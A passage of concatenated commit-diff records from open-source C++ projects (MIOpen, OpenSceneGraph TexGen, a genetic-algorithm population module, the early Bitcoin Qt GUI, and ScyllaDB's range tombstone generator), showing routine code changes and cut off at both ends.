xDesc,\n\tConstData_t x,\n\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\tconst TensorDescriptor& dyDesc,\n\tConstData_t dy,\n\tConstData_t workSpace,\n\tsize_t workSpaceSize,\n\tconst TensorDescriptor& dwDesc,\n\tData_t dw,\n\tConstData_t reserveSpace,\n\tsize_t reserveSpaceSize) const\n{\n\n        int in_n, in_c, in_h, in_w;\n\t\/\/\t\tstd::tie(in_n, in_c, in_h, in_w) = tie4(xDesc.GetLengths());\n\n\tint wei_n, wei_h, wei_w;\n\t\/\/\t\tstd::tie(wei_n, std::ignore, wei_h, wei_w) = tie4(wDesc.GetLengths());\n\n\tint out_h, out_w;\n\t\/\/\t\tstd::tie(std::ignore, std::ignore, out_h, out_w) = tie4(yDesc.GetLengths());\n};\n\n} \/\/ namespace miopen\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/TexGen>\n#include <osg\/Notify>\n\nusing namespace osg;\n\nTexGen::TexGen()\n{\n    _mode = OBJECT_LINEAR;\n    _plane_s.set(1.0f, 0.0f, 0.0f, 0.0f);\n    _plane_t.set(0.0f, 1.0f, 0.0f, 0.0f);\n    _plane_r.set(0.0f, 0.0f, 1.0f, 0.0f);\n    _plane_q.set(0.0f, 0.0f, 0.0f, 1.0f);\n}\n\n\nTexGen::~TexGen()\n{\n}\n\n\nvoid TexGen::setPlane(Coord which, const Plane& plane)\n{\n    switch( which )\n    {\n        case S : _plane_s = plane; break;\n        case T : _plane_t = plane; break;\n        case R : _plane_r = plane; break;\n        case Q : _plane_q = plane; break;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::setPlane(\"<<(unsigned int)which<<\",\"<<plane<<\")\"<<std::endl; break;\n    }\n}\n\nconst Plane& TexGen::getPlane(Coord which) const\n{\n    switch( which )\n    {\n        case S : return _plane_s;\n        case T : return _plane_t;\n        case R : return _plane_r;\n        case Q : return _plane_q;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::getPlane(which)\"<<std::endl; return _plane_r;\n    }\n}\n\nPlane& TexGen::getPlane(Coord which)\n{\n    switch( which )\n    {\n        case S : return _plane_s;\n        case T : return _plane_t;\n        case R : return _plane_r;\n        case Q : return _plane_q;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::getPlane(which)\"<<std::endl; return _plane_r;\n    }\n}\n\nvoid TexGen::apply(State&) const\n{\n\n    if (_mode == OBJECT_LINEAR)\n    {\n        glTexGenfv(GL_S, GL_OBJECT_PLANE, _plane_s.ptr());\n        glTexGenfv(GL_T, GL_OBJECT_PLANE, _plane_t.ptr());\n        glTexGenfv(GL_R, GL_OBJECT_PLANE, _plane_r.ptr());\n        glTexGenfv(GL_Q, GL_OBJECT_PLANE, _plane_q.ptr());\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n\n        \/\/ note, R & Q will be disabled so R&Q settings won't\n        \/\/ have an effect, see above comment in enable(). RO.\n\n    }\n    else if (_mode == EYE_LINEAR)\n    {\n        glTexGenfv(GL_S, GL_EYE_PLANE, _plane_s.ptr());\n        glTexGenfv(GL_T, GL_EYE_PLANE, _plane_t.ptr());\n        glTexGenfv(GL_R, GL_EYE_PLANE, _plane_r.ptr());\n        glTexGenfv(GL_Q, GL_EYE_PLANE, _plane_q.ptr());\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n\n        \/\/ note, R & Q will be disabled so R&Q settings won't\n        \/\/ have an effect, see above comment in enable(). RO.\n\n    }\n    else if (_mode == NORMAL_MAP)\n    {\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n\/\/      glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n    }\n    else if (_mode == REFLECTION_MAP)\n    {\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n\/\/      glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n    }\n    else                         \/\/ SPHERE_MAP\n    {\n        \/\/ We ignore the planes if we are not in OBJECT_ or EYE_LINEAR mode.\n\n        \/\/ Also don't set the mode of GL_R & GL_Q as these will generate\n        \/\/ GL_INVALID_ENUM (See OpenGL Refrence Guide, glTexGEn.)\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n    }\n\n}\n<commit_msg>Added setPlanesFromMatrix method<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/TexGen>\n#include <osg\/Notify>\n\nusing namespace osg;\n\nTexGen::TexGen()\n{\n    _mode = OBJECT_LINEAR;\n    _plane_s.set(1.0f, 0.0f, 0.0f, 0.0f);\n    _plane_t.set(0.0f, 1.0f, 0.0f, 0.0f);\n    _plane_r.set(0.0f, 0.0f, 1.0f, 0.0f);\n    _plane_q.set(0.0f, 0.0f, 0.0f, 1.0f);\n}\n\n\nTexGen::~TexGen()\n{\n}\n\n\nvoid TexGen::setPlane(Coord which, const Plane& plane)\n{\n    switch( which )\n    {\n        case S : _plane_s = plane; break;\n        case T : _plane_t = plane; break;\n        case R : _plane_r = plane; break;\n        case Q : _plane_q = plane; break;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::setPlane(\"<<(unsigned int)which<<\",\"<<plane<<\")\"<<std::endl; break;\n    }\n}\n\nconst Plane& TexGen::getPlane(Coord which) const\n{\n    switch( which )\n    {\n        case S : return _plane_s;\n        case T : return _plane_t;\n        case R : return _plane_r;\n        case Q : return _plane_q;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::getPlane(which)\"<<std::endl; return _plane_r;\n    }\n}\n\nPlane& TexGen::getPlane(Coord which)\n{\n    switch( which )\n    {\n        case S : return _plane_s;\n        case T : return _plane_t;\n        case R : return _plane_r;\n        case Q : return _plane_q;\n        default : notify(WARN)<<\"Error: invalid 'which' passed TexGen::getPlane(which)\"<<std::endl; return _plane_r;\n    }\n}\n\nvoid TexGen::setPlanesFromMatrix(const Matrixd& matrix)\n{\n    _plane_s.set(matrix(0,0),matrix(1,0),matrix(2,0),matrix(3,0));\n    _plane_t.set(matrix(0,1),matrix(1,1),matrix(2,1),matrix(3,1));\n    _plane_r.set(matrix(0,2),matrix(1,2),matrix(2,2),matrix(3,2));\n    _plane_q.set(matrix(0,3),matrix(1,3),matrix(2,3),matrix(3,3));    \n}\n\nvoid TexGen::apply(State&) const\n{\n\n    if (_mode == OBJECT_LINEAR)\n    {\n        glTexGenfv(GL_S, GL_OBJECT_PLANE, _plane_s.ptr());\n        glTexGenfv(GL_T, GL_OBJECT_PLANE, _plane_t.ptr());\n        glTexGenfv(GL_R, GL_OBJECT_PLANE, _plane_r.ptr());\n        glTexGenfv(GL_Q, GL_OBJECT_PLANE, _plane_q.ptr());\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n\n        \/\/ note, R & Q will be disabled so R&Q settings won't\n        \/\/ have an effect, see above comment in enable(). RO.\n\n    }\n    else if (_mode == EYE_LINEAR)\n    {\n        glTexGenfv(GL_S, GL_EYE_PLANE, _plane_s.ptr());\n        glTexGenfv(GL_T, GL_EYE_PLANE, _plane_t.ptr());\n        glTexGenfv(GL_R, GL_EYE_PLANE, _plane_r.ptr());\n        glTexGenfv(GL_Q, GL_EYE_PLANE, _plane_q.ptr());\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n\n        \/\/ note, R & Q will be disabled so R&Q settings won't\n        \/\/ have an effect, see above comment in enable(). RO.\n\n    }\n    else if (_mode == NORMAL_MAP)\n    {\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n\/\/      glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n    }\n    else if (_mode == REFLECTION_MAP)\n    {\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_R, GL_TEXTURE_GEN_MODE, _mode );\n\/\/      glTexGeni( GL_Q, GL_TEXTURE_GEN_MODE, _mode );\n    }\n    else                         \/\/ SPHERE_MAP\n    {\n        \/\/ We ignore the planes if we are not in OBJECT_ or EYE_LINEAR mode.\n\n        \/\/ Also don't set the mode of GL_R & GL_Q as these will generate\n        \/\/ GL_INVALID_ENUM (See OpenGL Refrence Guide, glTexGEn.)\n\n        glTexGeni( GL_S, GL_TEXTURE_GEN_MODE, _mode );\n        glTexGeni( GL_T, GL_TEXTURE_GEN_MODE, _mode );\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <cstdlib>\n\n#include \"population.h\"\n\nint **POPULATION::initializePopulation(int individuals, int genes, bool FILL_ZERO)\n{\n  int **population;\n\n  if (!FILL_ZERO)\n  {\n    population = (int **) malloc(individuals * sizeof(int *));\n    for (int i = 0; i < individuals; i++)\n      population[i] = (int *) malloc(genes * sizeof(int));\n  }\n  else\n  {\n    population = (int **) calloc(individuals, sizeof(int *));\n    for (int i = 0; i < individuals; i++)\n      population[i] = (int *) calloc(genes, sizeof(int));\n  }\n\n\n  return population;\n}\n\nint **POPULATION::createRandomPopulation(int **population, int individuals, int genes)\n{\n  \/\/ Fill the 2d array with random genes\n  for (int pop = 0; pop < individuals; pop++)\n  {\n    for (int gene = 0; gene < genes; gene++)\n    {\n      population[pop][gene] = rand() % 2;\n    }\n  }\n  return 0;\n}\n<commit_msg>Update return datatype function 'createRandomPopulation'.<commit_after>#include <iostream>\n#include <cstdlib>\n\n#include \"population.h\"\n\nint **POPULATION::initializePopulation(int individuals, int genes, bool FILL_ZERO)\n{\n  int **population;\n\n  if (!FILL_ZERO)\n  {\n    population = (int **) malloc(individuals * sizeof(int *));\n    for (int i = 0; i < individuals; i++)\n      population[i] = (int *) malloc(genes * sizeof(int));\n  }\n  else\n  {\n    population = (int **) calloc(individuals, sizeof(int *));\n    for (int i = 0; i < individuals; i++)\n      population[i] = (int *) calloc(genes, sizeof(int));\n  }\n\n\n  return population;\n}\n\nint POPULATION::createRandomPopulation(int **population, int individuals, int genes)\n{\n  \/\/ Fill the 2d array with random genes\n  for (int pop = 0; pop < individuals; pop++)\n  {\n    for (int gene = 0; gene < genes; gene++)\n    {\n      population[pop][gene] = rand() % 2;\n    }\n  }\n  return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * W.J. van der Laan 2011\n *\/\n#include \"bitcoingui.h\"\n#include \"clientmodel.h\"\n#include \"walletmodel.h\"\n#include \"optionsmodel.h\"\n\n#include \"headers.h\"\n#include \"init.h\"\n\n#include <QApplication>\n#include <QMessageBox>\n#include <QThread>\n#include <QTextCodec>\n#include <QLocale>\n#include <QTranslator>\n#include <QSplashScreen>\n\n\/\/ Need a global reference for the notifications to find the GUI\nBitcoinGUI *guiref;\nQSplashScreen *splashref;\n\nint MyMessageBox(const std::string& message, const std::string& caption, int style, wxWindow* parent, int x, int y)\n{\n    \/\/ Message from main thread\n    if(guiref)\n    {\n        guiref->error(QString::fromStdString(caption),\n                      QString::fromStdString(message));\n    }\n    else\n    {\n        QMessageBox::critical(0, QString::fromStdString(caption),\n            QString::fromStdString(message),\n            QMessageBox::Ok, QMessageBox::Ok);\n    }\n    return 4;\n}\n\nint ThreadSafeMessageBox(const std::string& message, const std::string& caption, int style, wxWindow* parent, int x, int y)\n{\n    \/\/ Message from network thread\n    if(guiref)\n    {\n        QMetaObject::invokeMethod(guiref, \"error\", Qt::QueuedConnection,\n                                   Q_ARG(QString, QString::fromStdString(caption)),\n                                   Q_ARG(QString, QString::fromStdString(message)));\n    }\n    else\n    {\n        printf(\"%s: %s\\n\", caption.c_str(), message.c_str());\n        fprintf(stderr, \"%s: %s\\n\", caption.c_str(), message.c_str());\n    }\n    return 4;\n}\n\nbool ThreadSafeAskFee(int64 nFeeRequired, const std::string& strCaption, wxWindow* parent)\n{\n    if(!guiref)\n        return false;\n    if(nFeeRequired < MIN_TX_FEE || nFeeRequired <= nTransactionFee || fDaemon)\n        return true;\n    bool payFee = false;\n\n    \/\/ Call slot on GUI thread.\n    \/\/ If called from another thread, use a blocking QueuedConnection.\n    Qt::ConnectionType connectionType = Qt::DirectConnection;\n    if(QThread::currentThread() != QCoreApplication::instance()->thread())\n    {\n        connectionType = Qt::BlockingQueuedConnection;\n    }\n\n    QMetaObject::invokeMethod(guiref, \"askFee\", connectionType,\n                               Q_ARG(qint64, nFeeRequired),\n                               Q_ARG(bool*, &payFee));\n\n    return payFee;\n}\n\nvoid CalledSetStatusBar(const std::string& strText, int nField)\n{\n    \/\/ Only used for built-in mining, which is disabled, simple ignore\n}\n\nvoid UIThreadCall(boost::function0<void> fn)\n{\n    \/\/ Only used for built-in mining, which is disabled, simple ignore\n}\n\nvoid MainFrameRepaint()\n{\n}\n\nvoid InitMessage(const std::string &message)\n{\n    if(splashref)\n    {\n        splashref->showMessage(QString::fromStdString(message), Qt::AlignBottom|Qt::AlignHCenter, QColor(255,255,200));\n        QApplication::instance()->processEvents();\n    }\n}\n\n\/*\n   Translate string to current locale using Qt.\n *\/\nstd::string _(const char* psz)\n{\n    return QCoreApplication::translate(\"bitcoin-core\", psz).toStdString();\n}\n\nint main(int argc, char *argv[])\n{\n    QTextCodec::setCodecForTr(QTextCodec::codecForName(\"UTF-8\"));\n    QTextCodec::setCodecForCStrings(QTextCodec::codecForTr());\n\n    Q_INIT_RESOURCE(bitcoin);\n    QApplication app(argc, argv);\n\n    \/\/ Load language file for system locale\n    QString locale = QLocale::system().name();\n    QTranslator translator;\n    translator.load(\":\/translations\/\"+locale);\n    app.installTranslator(&translator);\n\n    QSplashScreen splash(QPixmap(\":\/images\/splash\"), 0);\n    splash.show();\n    splash.setAutoFillBackground(true);\n    splashref = &splash;\n\n    app.processEvents();\n\n    app.setQuitOnLastWindowClosed(false);\n\n    try\n    {\n        if(AppInit2(argc, argv))\n        {\n            {\n                \/\/ Put this in a block, so that BitcoinGUI is cleaned up properly before\n                \/\/ calling Shutdown().\n                BitcoinGUI window;\n                splash.finish(&window);\n                OptionsModel optionsModel(pwalletMain);\n                ClientModel clientModel(&optionsModel);\n                WalletModel walletModel(pwalletMain, &optionsModel);\n\n                guiref = &window;\n                window.setClientModel(&clientModel);\n                window.setWalletModel(&walletModel);\n\n                window.show();\n\n                app.exec();\n\n                guiref = 0;\n            }\n            Shutdown(NULL);\n        }\n        else\n        {\n            return 1;\n        }\n    } catch (std::exception& e) {\n        PrintException(&e, \"Runaway exception\");\n    } catch (...) {\n        PrintException(NULL, \"Runaway exception\");\n    }\n    return 0;\n}\n<commit_msg>only install translator when not empty<commit_after>\/*\n * W.J. van der Laan 2011\n *\/\n#include \"bitcoingui.h\"\n#include \"clientmodel.h\"\n#include \"walletmodel.h\"\n#include \"optionsmodel.h\"\n\n#include \"headers.h\"\n#include \"init.h\"\n\n#include <QApplication>\n#include <QMessageBox>\n#include <QThread>\n#include <QTextCodec>\n#include <QLocale>\n#include <QTranslator>\n#include <QSplashScreen>\n\n\/\/ Need a global reference for the notifications to find the GUI\nBitcoinGUI *guiref;\nQSplashScreen *splashref;\n\nint MyMessageBox(const std::string& message, const std::string& caption, int style, wxWindow* parent, int x, int y)\n{\n    \/\/ Message from main thread\n    if(guiref)\n    {\n        guiref->error(QString::fromStdString(caption),\n                      QString::fromStdString(message));\n    }\n    else\n    {\n        QMessageBox::critical(0, QString::fromStdString(caption),\n            QString::fromStdString(message),\n            QMessageBox::Ok, QMessageBox::Ok);\n    }\n    return 4;\n}\n\nint ThreadSafeMessageBox(const std::string& message, const std::string& caption, int style, wxWindow* parent, int x, int y)\n{\n    \/\/ Message from network thread\n    if(guiref)\n    {\n        QMetaObject::invokeMethod(guiref, \"error\", Qt::QueuedConnection,\n                                   Q_ARG(QString, QString::fromStdString(caption)),\n                                   Q_ARG(QString, QString::fromStdString(message)));\n    }\n    else\n    {\n        printf(\"%s: %s\\n\", caption.c_str(), message.c_str());\n        fprintf(stderr, \"%s: %s\\n\", caption.c_str(), message.c_str());\n    }\n    return 4;\n}\n\nbool ThreadSafeAskFee(int64 nFeeRequired, const std::string& strCaption, wxWindow* parent)\n{\n    if(!guiref)\n        return false;\n    if(nFeeRequired < MIN_TX_FEE || nFeeRequired <= nTransactionFee || fDaemon)\n        return true;\n    bool payFee = false;\n\n    \/\/ Call slot on GUI thread.\n    \/\/ If called from another thread, use a blocking QueuedConnection.\n    Qt::ConnectionType connectionType = Qt::DirectConnection;\n    if(QThread::currentThread() != QCoreApplication::instance()->thread())\n    {\n        connectionType = Qt::BlockingQueuedConnection;\n    }\n\n    QMetaObject::invokeMethod(guiref, \"askFee\", connectionType,\n                               Q_ARG(qint64, nFeeRequired),\n                               Q_ARG(bool*, &payFee));\n\n    return payFee;\n}\n\nvoid CalledSetStatusBar(const std::string& strText, int nField)\n{\n    \/\/ Only used for built-in mining, which is disabled, simple ignore\n}\n\nvoid UIThreadCall(boost::function0<void> fn)\n{\n    \/\/ Only used for built-in mining, which is disabled, simple ignore\n}\n\nvoid MainFrameRepaint()\n{\n}\n\nvoid InitMessage(const std::string &message)\n{\n    if(splashref)\n    {\n        splashref->showMessage(QString::fromStdString(message), Qt::AlignBottom|Qt::AlignHCenter, QColor(255,255,200));\n        QApplication::instance()->processEvents();\n    }\n}\n\n\/*\n   Translate string to current locale using Qt.\n *\/\nstd::string _(const char* psz)\n{\n    return QCoreApplication::translate(\"bitcoin-core\", psz).toStdString();\n}\n\nint main(int argc, char *argv[])\n{\n    QTextCodec::setCodecForTr(QTextCodec::codecForName(\"UTF-8\"));\n    QTextCodec::setCodecForCStrings(QTextCodec::codecForTr());\n\n    Q_INIT_RESOURCE(bitcoin);\n    QApplication app(argc, argv);\n\n    \/\/ Load language file for system locale\n    QString locale = QLocale::system().name();\n    QTranslator translator;\n    translator.load(\":\/translations\/\"+locale);\n    if (!translator.isEmpty())\n        app.installTranslator(&translator);\n\n    QSplashScreen splash(QPixmap(\":\/images\/splash\"), 0);\n    splash.show();\n    splash.setAutoFillBackground(true);\n    splashref = &splash;\n\n    app.processEvents();\n\n    app.setQuitOnLastWindowClosed(false);\n\n    try\n    {\n        if(AppInit2(argc, argv))\n        {\n            {\n                \/\/ Put this in a block, so that BitcoinGUI is cleaned up properly before\n                \/\/ calling Shutdown().\n                BitcoinGUI window;\n                splash.finish(&window);\n                OptionsModel optionsModel(pwalletMain);\n                ClientModel clientModel(&optionsModel);\n                WalletModel walletModel(pwalletMain, &optionsModel);\n\n                guiref = &window;\n                window.setClientModel(&clientModel);\n                window.setWalletModel(&walletModel);\n\n                window.show();\n\n                app.exec();\n\n                guiref = 0;\n            }\n            Shutdown(NULL);\n        }\n        else\n        {\n            return 1;\n        }\n    } catch (std::exception& e) {\n        PrintException(&e, \"Runaway exception\");\n    } catch (...) {\n        PrintException(NULL, \"Runaway exception\");\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2021 ScyllaDB\n *\/\n\n\/*\n * SPDX-License-Identifier: AGPL-3.0-or-later\n *\/\n\n#pragma once\n\n#include \"mutation_fragment_v2.hh\"\n#include \"range_tombstone_list.hh\"\n\ntemplate<typename T>\nconcept RangeTombstoneChangeConsumer = std::invocable<T, range_tombstone_change>;\n\n\/\/\/ Generates range_tombstone_change fragments for a stream of range_tombstone fragments.\n\/\/\/\n\/\/\/ The input range_tombstones passed to consume() may be overlapping, but must be weakly ordered by position().\n\/\/\/ It's ok to pass consecutive range_tombstone objects with the same position.\n\/\/\/\n\/\/\/ Generated range_tombstone_change fragments will have strictly monotonic positions.\n\/\/\/\n\/\/\/ Example usage:\n\/\/\/\n\/\/\/   consume(range_tombstone(1, +inf, t));\n\/\/\/   flush(2, consumer);\n\/\/\/   consume(range_tombstone(2, +inf, t));\n\/\/\/   flush(3, consumer);\n\/\/\/   consume(range_tombstone(4, +inf, t));\n\/\/\/   consume(range_tombstone(4, 7, t));\n\/\/\/   flush(5, consumer);\n\/\/\/   flush(6, consumer);\n\/\/\/\nclass range_tombstone_change_generator {\n    range_tombstone_list _range_tombstones;\n    \/\/ All range_tombstone_change fragments with positions < than this have been emitted.\n    position_in_partition _lower_bound = position_in_partition::before_all_clustered_rows();\n    const schema& _schema;\npublic:\n    range_tombstone_change_generator(const schema& s)\n        : _range_tombstones(s)\n        , _schema(s)\n    { }\n\n    \/\/ Discards deletion information for positions < lower_bound.\n    \/\/ After this, the lowest position of emitted range_tombstone_change will be before_key(lower_bound).\n    void trim(const position_in_partition& lower_bound) {\n        position_in_partition::less_compare less(_schema);\n\n        if (lower_bound.is_clustering_row()) {\n            _lower_bound = position_in_partition::before_key(lower_bound.key());\n        } else {\n            _lower_bound = lower_bound;\n        }\n\n        while (!_range_tombstones.empty() && !less(lower_bound, _range_tombstones.begin()->end_position())) {\n            _range_tombstones.pop(_range_tombstones.begin());\n        }\n\n        if (!_range_tombstones.empty() && less(_range_tombstones.begin()->position(), _lower_bound)) {\n            \/\/ _range_tombstones.begin()->end_position() < lower_bound is guaranteed by previous loop.\n            _range_tombstones.begin()->tombstone().set_start(_lower_bound);\n        }\n    }\n\n    \/\/ Emits range_tombstone_change fragments with positions smaller than upper_bound\n    \/\/ for accumulated range tombstones.\n    \/\/ After this, only range_tombstones with positions >= upper_bound may be added,\n    \/\/ which guarantees that they won't affect the output of this flush.\n    \/\/ FIXME: respect preemption\n    template<RangeTombstoneChangeConsumer C>\n    void flush(position_in_partition_view upper_bound, C consumer) {\n        if (_range_tombstones.empty()) {\n            return;\n        }\n\n        position_in_partition::tri_compare cmp(_schema);\n        std::optional<range_tombstone> prev;\n\n        while (!_range_tombstones.empty() && (cmp(_range_tombstones.begin()->end_position(), upper_bound) < 0)) {\n            auto rt = _range_tombstones.pop(_range_tombstones.begin());\n\n            if (prev && (cmp(prev->end_position(), rt.position()) < 0)) { \/\/ [1]\n                \/\/ previous range tombstone not adjacent, emit gap.\n                consumer(range_tombstone_change(prev->end_position(), tombstone()));\n            }\n\n            \/\/ Check if start of rt was already emitted, emit if not.\n            if (cmp(rt.position(), _lower_bound) >= 0) {\n                consumer(range_tombstone_change(rt.position(), rt.tomb));\n            }\n\n            \/\/ Delay emitting end bound in case it's adjacent with the next tombstone. See [1] and [2]\n            prev = std::move(rt);\n        }\n\n        \/\/ If previous range tombstone not adjacent with current, emit gap.\n        \/\/ It cannot get adjacent later because prev->end_position() < upper_bound,\n        \/\/ so nothing == prev->end_position() can be added after this invocation.\n        if (prev && (_range_tombstones.empty()\n                     || (cmp(prev->end_position(), _range_tombstones.begin()->position()) < 0))) {\n            consumer(range_tombstone_change(prev->end_position(), tombstone())); \/\/ [2]\n        }\n\n        \/\/ Emit the fragment for start bound of a range_tombstone which is overlapping with upper_bound,\n        \/\/ unless no such fragment or already emitted.\n        if (!_range_tombstones.empty()\n            && (cmp(_range_tombstones.begin()->position(), upper_bound) < 0)\n            && (cmp(_range_tombstones.begin()->position(), _lower_bound) >= 0)) {\n            consumer(range_tombstone_change(\n                    _range_tombstones.begin()->position(), _range_tombstones.begin()->tombstone().tomb));\n        }\n\n        _lower_bound = upper_bound;\n    }\n\n    void consume(range_tombstone rt) {\n        _range_tombstones.apply(_schema, std::move(rt));\n    }\n\n    void reset() {\n        _range_tombstones.clear();\n        _lower_bound = position_in_partition::before_all_clustered_rows();\n    }\n\n    bool discardable() const {\n        return _range_tombstones.empty();\n    }\n};\n<commit_msg>range_tombstone_change_generator: flush: emit end_position when upper limit is after all clustered rows<commit_after>\/*\n * Copyright (C) 2021 ScyllaDB\n *\/\n\n\/*\n * SPDX-License-Identifier: AGPL-3.0-or-later\n *\/\n\n#pragma once\n\n#include \"mutation_fragment_v2.hh\"\n#include \"range_tombstone_list.hh\"\n\ntemplate<typename T>\nconcept RangeTombstoneChangeConsumer = std::invocable<T, range_tombstone_change>;\n\n\/\/\/ Generates range_tombstone_change fragments for a stream of range_tombstone fragments.\n\/\/\/\n\/\/\/ The input range_tombstones passed to consume() may be overlapping, but must be weakly ordered by position().\n\/\/\/ It's ok to pass consecutive range_tombstone objects with the same position.\n\/\/\/\n\/\/\/ Generated range_tombstone_change fragments will have strictly monotonic positions.\n\/\/\/\n\/\/\/ Example usage:\n\/\/\/\n\/\/\/   consume(range_tombstone(1, +inf, t));\n\/\/\/   flush(2, consumer);\n\/\/\/   consume(range_tombstone(2, +inf, t));\n\/\/\/   flush(3, consumer);\n\/\/\/   consume(range_tombstone(4, +inf, t));\n\/\/\/   consume(range_tombstone(4, 7, t));\n\/\/\/   flush(5, consumer);\n\/\/\/   flush(6, consumer);\n\/\/\/\nclass range_tombstone_change_generator {\n    range_tombstone_list _range_tombstones;\n    \/\/ All range_tombstone_change fragments with positions < than this have been emitted.\n    position_in_partition _lower_bound = position_in_partition::before_all_clustered_rows();\n    const schema& _schema;\npublic:\n    range_tombstone_change_generator(const schema& s)\n        : _range_tombstones(s)\n        , _schema(s)\n    { }\n\n    \/\/ Discards deletion information for positions < lower_bound.\n    \/\/ After this, the lowest position of emitted range_tombstone_change will be before_key(lower_bound).\n    void trim(const position_in_partition& lower_bound) {\n        position_in_partition::less_compare less(_schema);\n\n        if (lower_bound.is_clustering_row()) {\n            _lower_bound = position_in_partition::before_key(lower_bound.key());\n        } else {\n            _lower_bound = lower_bound;\n        }\n\n        while (!_range_tombstones.empty() && !less(lower_bound, _range_tombstones.begin()->end_position())) {\n            _range_tombstones.pop(_range_tombstones.begin());\n        }\n\n        if (!_range_tombstones.empty() && less(_range_tombstones.begin()->position(), _lower_bound)) {\n            \/\/ _range_tombstones.begin()->end_position() < lower_bound is guaranteed by previous loop.\n            _range_tombstones.begin()->tombstone().set_start(_lower_bound);\n        }\n    }\n\n    \/\/ Emits range_tombstone_change fragments with positions smaller than upper_bound\n    \/\/ for accumulated range tombstones.\n    \/\/ After this, only range_tombstones with positions >= upper_bound may be added,\n    \/\/ which guarantees that they won't affect the output of this flush.\n    \/\/\n    \/\/ If upper_bound == position_in_partition::after_all_clustered_rows(),\n    \/\/ emits all remaining range_tombstone_changes.\n    \/\/ No range_tombstones may be added after this.\n    \/\/\n    \/\/ FIXME: respect preemption\n    template<RangeTombstoneChangeConsumer C>\n    void flush(const position_in_partition_view upper_bound, C consumer) {\n        if (_range_tombstones.empty()) {\n            return;\n        }\n\n        position_in_partition::tri_compare cmp(_schema);\n        std::optional<range_tombstone> prev;\n        bool flush_all = cmp(upper_bound, position_in_partition::after_all_clustered_rows()) == 0;\n\n        while (!_range_tombstones.empty() && (flush_all || (cmp(_range_tombstones.begin()->end_position(), upper_bound) < 0))) {\n            auto rt = _range_tombstones.pop(_range_tombstones.begin());\n\n            if (prev && (cmp(prev->end_position(), rt.position()) < 0)) { \/\/ [1]\n                \/\/ previous range tombstone not adjacent, emit gap.\n                consumer(range_tombstone_change(prev->end_position(), tombstone()));\n            }\n\n            \/\/ Check if start of rt was already emitted, emit if not.\n            if (cmp(rt.position(), _lower_bound) >= 0) {\n                consumer(range_tombstone_change(rt.position(), rt.tomb));\n            }\n\n            \/\/ Delay emitting end bound in case it's adjacent with the next tombstone. See [1] and [2]\n            prev = std::move(rt);\n        }\n\n        \/\/ If previous range tombstone not adjacent with current, emit gap.\n        \/\/ It cannot get adjacent later because prev->end_position() < upper_bound,\n        \/\/ so nothing == prev->end_position() can be added after this invocation.\n        if 